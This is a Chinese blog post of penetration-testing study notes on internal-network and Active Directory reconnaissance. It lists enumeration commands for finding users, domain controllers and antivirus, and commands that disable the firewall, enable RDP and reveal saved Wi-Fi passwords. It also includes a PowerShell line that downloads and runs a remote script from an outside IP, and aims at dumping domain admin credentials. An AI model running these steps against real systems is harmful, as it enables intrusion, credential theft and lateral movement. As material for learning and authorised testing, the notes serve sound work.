内网信息搜集

内网环境分析

什么是内网渗透

  1. 内网渗透的第一步,内网信息收集

内网外网的简介

  1. 内网又称局域网

  2. 外网又称为广域网

  3. 内外网的区别

    • 内网和外网的覆盖范围不一样,内网通常是一个学校、一个医院的网络,外网通常指Internet网

    • 内网一般是用于局域网内部的计算机之间的互相通信,如果需要访问Internet,需要借助外网,一般可以使用NAT技术实现内网访问外网

    • 内网地址是私有地址和外网的不同

      image-20230912203818546

windows域环境

  1. 域环境简介

    域是一个有安全边界的计算机集合( 安全边界,意思是在两个域中,一个域中的用户无法访问另一个域中的资源);域内资源由一台域控制 器(Domain Controller,DC)集中管理,用户名和密码是放在域控制器去验证的。

    渗透的目标就是拿到域控制器

  2. 安全域划分

    DMZ(Demilitarized Zone,边界网络,隔离区,安全级别中等):作为内网中安全系统和非安全系统之间的缓冲区,用于对外提供服务,一般可以放置一 些必须公开的服务器设施

    拥有DMZ区的访问规则

    • 内网可以访问外网
    • 外网不能访问内网
    • 外网可以访问DMZ区
    • 内网可以访问DMZ
    • DMZ不能访问内网
    • DMZ不能访问外网

    上面只是通常的做法,具体的还是得看具体的规则怎么实现

    一般如果拿下了DMZ区,可以尝试访问其他地区

  3. 与渗透的思路

    • 通过域成员得到域控的IP
    • 通过域成员作为跳板扩大范围
    • 利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机IP
    • 设法从域成员主机内存中dump出域管理员密码
  4. 域渗透的目标

    就是拿到域控,因为域控沦陷了,内网就基本可以说掌握中了

  5. 连通性判断

    tcp 协议:

    1
    2
    vps:nc -lvvp 8888
    target:nc vps-ip 8888

    DNS协议:

    1
    2
    3
    4
    vps:nc -u -lvp 53
    target:
    nslookup www.baidu.com vps-ip
    dig @vsp-ip www.baidu.com

    HTTP:

    1
    2
    vps:nc -lvvp 80
    target:curl vps-ip 80

    ICMP:

    1
    2
    vps:tcpdump icmp
    target:ping vps-ip
  6. 针对一个winserver 安装ad 的时候,原本的administrator 会自动提升到域管理员,密码和原来的一致

内网信息收集

工作组信息收集

用户信息

  1. 查看本机用户目录

    1
    net user [name]
  2. 获取本地管理员信息

    1
    net localgroup administrators
  3. 获取当前在线用户

    1
    2
    quser user/[name]
    query user || qwinsta
  4. 查看当前用户的权限

    1
    whoami /all
  5. 查看当前的权限

    1
    whoami && whoami /priv
  6. 查看当前机器中的所有组名,了解不同的只能

    1
    net localgroup

系统信息

  1. 查询网络信息,网络地址段信息收集

    1
    ipconfig /all  
  2. 查询操作信息及软件信息

    1
    systeminfo /fo  list  
  3. 查看当前系统版本

    1
    wmic os list  brief
  4. 查询本机服务

    1
    wmic service list brief  
  5. 查看安装的软件版本

    1
    wmic product get name, version
  6. 进程信息

    1
    tasklist
  7. 查看驱动信息

    1
    wmic startup get **command**,caption
  8. 查看本地可用凭据

    1
    cmdkey \l
  9. 查看本地密码策略

    1
    net accounts
  10. 查看dns缓存

    1
    ipconfig /displaydns
  11. hosts 文件

    1
    2
    c:\Windows\system32\drivers\etc\hosts
    \etc\hosts

网络信息

  1. 查看端口和pid

    1
    2
    netstat -ano
    netstat -anob # 需要管理员,这个命令可以查询所有端口发起的应用程序
  2. 查看路由表和arp缓存

    1
    2
    route print
    arp -a
  3. 查看共享列表

    1
    net share
  4. 磁盘映射

    1
    net use k: \\192.168.1.10\c$

防火墙

  1. 查看防火墙配置

    1
    netsh firewall show config
  2. 关闭防火墙

    1
    netsh advfirewall set allprofiles state off\on

RDP桌面

1
2
3
4
5
6
7
8
#开启
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
#关闭
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0
#查询并开启RDP服务的端口,返回一个十六进制的端口
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNum
ber

获取杀软信息

  1. 获取杀软名

    1
    WMIC /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
  2. 获取杀软名和安装路径

    1
    WMIC /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName,productState,pathToSignedProductExe

WIFE密码

1
2
netsh wlan show profile # 用于查询当前主机连接过的wifi名
netsh wlan show profile name="wifi_name" key=clear # 查询密码

image-20240109154756081

powershell信息收集

通过powershell语法执行ps文件

域内信息收集

net组件

  1. 查询当前域

    1
    net view /domain

    但是这个需要将域控的防火墙关闭

  2. 查询域内所有主机

    1
    net view /domain:august
  3. 查询域内所有用户组

    1
    net group "domain admins" /domain
  4. 查询域成员计算机列表

    1
    net group "domain computers" /domain
  5. 查询系统管理员用户组

    1
    net group "Enterprise admins" /domain
  6. 查看域控制器

    1
    net group "domain controllers" /domain
  7. 查看域内所有账号

    1
    net user /domain
  8. 查询指定用户详情信息

    1
    net user xxx /domain
  9. 通过找时间查询域控

    1
    net time /domain
  10. 登录本机的域管理员

    1
    net localgroup administrators /domain

Dsquery

这个工具只有域控才有,可以自己上传一个

  1. 查看域内的所有的机器

    1
    dsquery computer
  2. 查看当前域内的所有的用户名

    1
    dsquery user

other

  1. 域控制器的机器名

    1
    nltest /DCLIST:MINGY
  2. 查看域内的主机名

    1
    netdom query pdc
  3. 查看域控的主机名

    1
    nslookup -type=srv _ldap._tcp

    这个指令可以获取域控的Ip

  4. 查看域内DNS服务器

1
nslookup -q=ns mingy.com

定位域控

1
2
3
4
5
ipconfig /all
nslookup -type=all _ldap._tcp.dc._msdcs.mingy.com
setspn -q */*
setspn -T mingy.com -q */*
net group "domain controllers" /domain

除了以上的命令还可以使用端口识别的方式

1
2
端口: 53   DNS服务器开放
端口: 389 轻型目录访问协议

个人推荐

1
2
ipconfig /all 
setspn

内网存活探测

windows 445端口 存活探测

linux 22 端口

最好扫描16 的子网掩码,因为有可能存在其他网段的情况

nmap扫描

1
nmap -sU -T4 --script nbstat.nse -p137 10.10.10.0/24

-sU:扫描udp端口

-T4:指定扫描的速度

–script:指的是指定脚本

-p137:指定的端口(文件共享端口)

msf扫描

image-20240109165748478

由于kali 不和那些是一个网段,所以用不了,反映了显示状态下kali的局限性,替代方式是vps

nbtscan

image-20240109170056352

image-20240109170225885

1
linux:  nbtscan -r ip

icmp协议

nmap会使用ping 做存活探测

@for /l %i in (1,1,255) do @ping -n 1 -w 40 10.10.10.%i & if errorlevel 1 (echo 10.10.10.%i>>c:\a.txt) else (e cho 10.10.10.%i >>c:\b.txt)

powershell

本质是icmp

1
2
3
4
5
powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1; Invoke-TSPingSweep -StartAddress
192.168.1.1 -EndAddress 192.168.1.254 -ResolveHost -ScanPort -Port 445,135"
powershell iex(new-object net.webclient).downloadstring('http://47.104.255.11:8000/Invoke-TSPingSweep.ps1');In
voke-TSPingSweep -StartAddress 10.10.10.1 -EndAddress 10.10.10.254 -ResolveHost -ScanPort -Port 445,135

内网信息收集工具

fscan

  1. 简介

    内网综合扫描工具,方便一键自动化,全方位漏洞扫描器

    项目地址:https://github.com/shadow1ng/fscan

  2. 探测存活

    1
    2
    fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
    fscan.exe -h 192.168.1.1/16 (B段扫描)

LadonGo

LadonGO 4.2 Pentest Scanner framework 全平台Go开源内网渗透扫描器框架

但是这个需要自己编译一下

1
go build 

具体也可以参照github

Adfind

这个是在cs里面存在的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Usage:
AdFind [switches] [-b basedn] [-f filter] [attr list]

basedn RFC 2253 DN to base search from. If no base specified, defaults to default NC.
Base DN can also be specified as a SID, GUID, or IID.
filter RFC 2254 LDAP filter. If no filter specified, defaults to objectclass=*.
attr list List of specific attributes to return,
if nothing specified returns 'default' attributes, aka * set.

Switches: (designated by - or /)

[CONNECTION OPTIONS][连接选项]
-h host:port 要使用的主机和端口。如果未指定,则使用默认LDAP服务器上的端口389
Localhost可以指定为“.”; 还可以通过-p和-gc指定端口。
指定了带端口的IPv6 [address]:port
-gc 搜索全局目录 (port 3268)。
-p port 指定要连接到的端口的备用方法。

[QUERY OPTIONS][查询选项]
-s scope 搜索范围。 Base, One[Level], Sub[tree].
-t xxx 查询的超时值,默认为120秒。

[OUTPUT OPTIONS][输出选项]
-c 仅对象计数。
-dn 仅对象DN
-appver 输出AdFind版本信息。

查看域控的名称

1
adfind -sc dclist

查看域控的版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#列出域控制器名称
AdFind -sc dclist

#查看域控版本
AdFind -schema -s base objectversion

#查询当前域中在线的计算机(所有属性)
AdFind -sc computers_active

#查询当前域中在线的计算机(只显示名称和操作系统)
AdFind -sc computers_active name operatingSystem

#查询当前域中所有计算机(所有属性)
AdFind -f "objectcategory=computer"

#查询当前域中所有计算机(只显示名称和操作系统)
AdFind -f "objectcategory=computer" name operatingSystem

#查询指定域(mingy.local)中所有计算机(所有属性)
Adfind -b dc=mingy,dc=local -f "objectcategory=computer"

#查询域内所有用户
AdFind -users name

#查询指定域(mingy.local)内所有用户(所有属性)
Adfind -b dc=mingy,dc=local -f "objectcategory=user"

#查询所有GPO信息
AdFind -sc gpodmp

#查看受保护AD域账户
Adfind -f "&(objectcategory=person)(samaccountname=*)(admincount=1)" -dn

#查看域管账户
AdFind -default -f "(&(|(&(objectCategory=person)(objectClass=user))(objectCategory=group))(adminCount=1))" -dn

BloodHound

大型域常用的工具

直接在kali 上面运行就行了


内网信息搜集
https://tsy244.github.io/2023/09/12/渗透/内网信息收集/
Author
August Rosenberg
Posted on
September 12, 2023
Licensed under